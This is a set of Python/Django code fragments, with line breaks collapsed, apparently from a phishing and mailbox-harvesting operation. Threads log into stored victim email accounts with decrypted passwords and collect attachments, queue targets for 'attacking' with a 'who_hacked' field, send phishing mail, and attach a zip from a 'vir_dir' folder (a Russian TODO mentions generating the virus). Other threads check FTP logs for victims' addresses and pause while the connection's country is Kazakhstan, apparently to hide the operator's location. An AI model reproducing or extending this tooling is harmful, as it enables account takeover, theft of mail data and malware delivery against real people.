def run(self): if get_config('grabbing') == '1': return set_config('grabbing', '1') while True: if get_config('vpn') == '1': break else: sleep(60) emails = Emails.objects.all().filter(status='1') today = datetime.date.today().strftime('%d.%m.%Y') directory = os.path.join('emails', today) for eml in emails: if not os.path.exists(directory): os.makedirs(directory) last_messages_datetime = datetime.datetime.strptime( eml.last_messages_datetime, '%d.%m.%Y %H:%M') if not check_ip(): set_config('grabbing', '0') continue result, last_msg_dt, zips = scan_email(eml.email, decrypt(eml.password), directory, last_messages_datetime) for a_zip in zips: zip_file = Zips() zip_file.name = os.path.basename(a_zip) zip_file.path = a_zip zip_file.save() if result == 'OK': eml.last_scan_datetime = datetime.datetime.now().strftime( '%d.%m.%Y %H:%M') eml.last_messages_datetime = ( last_msg_dt + datetime.timedelta(hours=3)).strftime('%d.%m.%Y %H:%M') else: if result == 'PC': eml.comment = 'Password changed. ' + last_msg_dt.strftime( '%d.%m.%Y %H:%M:%S') eml.status = '0' if result == 'NI': eml.comment = 'Can\' select inbox. ' + last_msg_dt.strftime( '%d.%m.%Y %H:%M:%S') eml.status = '-1' if result == 'NA': eml.comment = 'Can\' search ALL messages. ' + last_msg_dt.strftime( '%d.%m.%Y %H:%M:%S') eml.status = '-1' eml.save() set_config('grabbing', '0')
def add_to_stack(request): if 'username' not in request.POST or 'token' not in request.POST or 'emails' not in request.POST or \ 'sender' not in request.POST or 'sender_password' not in request.POST or 'subject' not in request.POST or \ 'body_name' not in request.POST or 'method' not in request.POST or 'country' not in request.POST or \ 'description' not in request.POST: return JsonResponse({'response': 'field error'}) try: the_user = Users.objects.get(username=request.POST['username']) except Users.DoesNotExist: return JsonResponse({'response': 'denied'}) if request.POST['token'] != the_user.token: return JsonResponse({"response": "denied"}) email_count = 0 emls = request.POST['emails'] emails = emls.split(",") for email in emails: email_count += 1 new_stack = Stack() new_stack.sender = request.POST['sender'] new_stack.sender_password = request.POST['sender_password'] new_stack.email = email new_stack.subject = request.POST['subject'] try: new_stack.body = Templates.objects.get( name=request.POST['body_name']).body except Templates.DoesNotExist: new_stack.body = request.POST['body_name'] new_stack.method = request.POST['method'] new_stack.date_add = date.today() new_stack.country = request.POST['country'] new_stack.description = request.POST['description'] new_stack.ftp_host = request.POST['host'] new_stack.ftp_login = request.POST['user'] new_stack.ftp_password = request.POST['pswd'] new_stack.who_hacked = request.POST['username'] new_stack.status = '0' new_stack.save() personal_logging(the_user.log_file, 'New attacking :' + email) del new_stack if email_count > 0: if get_config('attacking') == '0': atk = Attacking() atk.start() if get_config('checking_ftp') == '0': check = CheckFtp() check.start() logging('add_to_stack', '{0} added emails to stack.'.format(the_user.username)) return JsonResponse({'response': 'ok', 'emails_add': email_count})
def grab_managing(): logging('GrabManager', 'START') if get_config('grab_management') == '1': return set_config('grab_management', '1') # scan_time = get_config('scan_time') try: while True: if datetime.now().time().strftime('%H:%M') == get_config( 'scan_time') and get_config('grabbing') == '0': grabber = Grabbing() grabber.start() sleep(58) finally: set_config('grab_management', '0')
def run(self): if get_config('vpn_manager') == '0': vpn = VpnManager() vpn.start() sleep(10) if get_config('grab_management') == '0': grab_manager = GrabManager() grab_manager.start() sleep(5) if get_config('attacking') == '0': atk = Attacking() atk.start() sleep(5) if get_config('checking_ftp') == '0': check = CheckFtp() check.start()
def get_emails(request): if 'username' not in request.GET or 'token' not in request.GET: return JsonResponse({'response': 'filed error'}) try: the_user = Users.objects.get(username=request.GET['username']) except Users.DoesNotExist: return JsonResponse({'response': 'denied'}) if request.GET['token'] != the_user.token: return JsonResponse({"response": "denied"}) answer = {"response": "ok"} try: emails = Emails.objects.all().filter(status=1) except Emails.DoesNotExist: return JsonResponse({"response": "no emails"}) records = [] for email in emails: tmp_rec = { "email": email.email, "description": email.description, "lsdt": email.last_scan_datetime, "comment": email.comment } records.append(tmp_rec) answer["emails"] = records if get_config('grab_management') == '0': grab_manager = GrabManager() grab_manager.start() logging('get_emails', '{0} get emails'.format(the_user.username)) return JsonResponse(answer)
def run(self): if get_config('checking_ftp') == '1': return set_config('checking_ftp', 1) logging('check_ftp', 'START') try: while True: logging('check_ftp', 'while True:') while True: if get_config('vpn') == '1': break else: logging('check_ftp', 'not check_ip()') sleep(60) try: stack = Stack.objects.all().filter(status=1) except Stack.DoesNotExist: continue for target in stack: logging('CheckFtp', target.email) log_path = os.path.join('logs_ftp', target.ftp_host) if not os.path.exists(log_path): os.makedirs(log_path) if not os.path.isfile(os.path.join(log_path, log_file)): fl = open(os.path.join(log_path, log_file), 'w') fl.close() target.ftp_path_to_log = checker(target.ftp_host, target.ftp_login, target.ftp_password, log_path, target.ftp_path_to_log) log_text = open(os.path.join(log_path, log_file)).read() tmp_log_text = open(os.path.join(log_path, tmp_log_file)).read() if log_text != tmp_log_text: os.remove(os.path.join(log_path, log_file)) os.rename(os.path.join(log_path, tmp_log_file), os.path.join(log_path, log_file)) if target.email in tmp_log_text: target.status = "2" else: if os.path.isfile(os.path.join(log_path, tmp_log_file)): os.remove(os.path.join(log_path, tmp_log_file)) if datetime.datetime.today() - datetime.datetime.strptime(target.date_add, '%Y-%m-%d') > \ datetime.timedelta(days=days_limit): target.status = '3' target.save() sleep(random.randint(300, 600)) finally: set_config('checking_ftp', 0) return
def run(self): logging('VpnManager', 'Start') if get_config('vpn_manager') == '1': logging('VpnManager', 'return 1') return set_config('vpn_manager', '1') while True: try: country = get_country() logging('VpnManager', 'country = {0}'.format(country)) if country == 'KZ': set_config('vpn', '0') logging('VpnManager', 'vpn=0') else: set_config('vpn', '1') logging('VpnManager', 'vpn=1') sleep(200) except Exception: logging('VpnManager', 'Error: {0}'.format(sys.exc_info()))
def get_arch_info(request): if 'username' not in request.GET or 'token' not in request.GET: return JsonResponse({'response': 'filed error'}) try: the_user = Users.objects.get(username=request.GET['username']) except Users.DoesNotExist: return JsonResponse({'response': 'denied'}) if request.GET['token'] != the_user.token: return JsonResponse({"response": "denied"}) if get_config('grabbing') == '1': return JsonResponse({"response": "denied"}) all_zips = Zips.objects.all() zips_dict = {} zips_record = [] zips_dict['response'] = 'ok' zips_dict['count'] = Zips.objects.count() for a_zip in all_zips: zips_record.append(a_zip.name) zips_dict['zips'] = zips_record logging('get_arch_info', '{0} getting arch info.'.format(the_user.username)) return JsonResponse(zips_dict)
def run(self): if get_config('attacking') == '1': return set_config('attacking', '1') try: while True: logging('make_an_attack', 'while True') stack = Stack.objects.all().filter(status='0') stack_count = stack.count() if stack_count == 0: set_config('attacking', '0') return for email in stack: while True: if get_config('vpn') == '1': logging('make_an_attack', 'vpn==1, break') break else: logging( 'make_an_attack', 'Не могу подключиться к VPN при атаке почты {0}. Засыпаю в ожиданий' .format(email.email)) sleep(60) logging('make_an_attack', 'vpn==1, breaked') logging('make_an_attack', 'Attacking email: {0}'.format(email.email)) result = '' try: eml_prm = EmailConfigs.objects.get( name=email.email.split('@')[1]) except EmailConfigs.DoesNotExist: logging( 'make_an_attack', 'Неизвестный Хост и Порт для {0}'.format( email.email)) continue if email.method == '1': result = send_fishing(eml_prm.host, eml_prm.port, email.sender, email.sender_password, email.email, email.subject, email.body) if email.method == '2': the_file = os.getcwd() + '/vir_dir/init.zip' # TODO: Генерация вируса и добавление пути result = send_fishing(eml_prm.host, eml_prm.port, email.sender, email.sender_password, email.email, email.subject, email.body, the_file) if email.method == '3': send_fishing_with_virus() stack_count -= 1 logging('make_an_attack', result) if result[0] == 'У': email.status = '1' else: email.status = '4' email.save() sleep(random.randint(30, 120)) del stack except Exception as e: logging('make_an_attack EXCEPT', str(e)) finally: set_config('attacking', '0')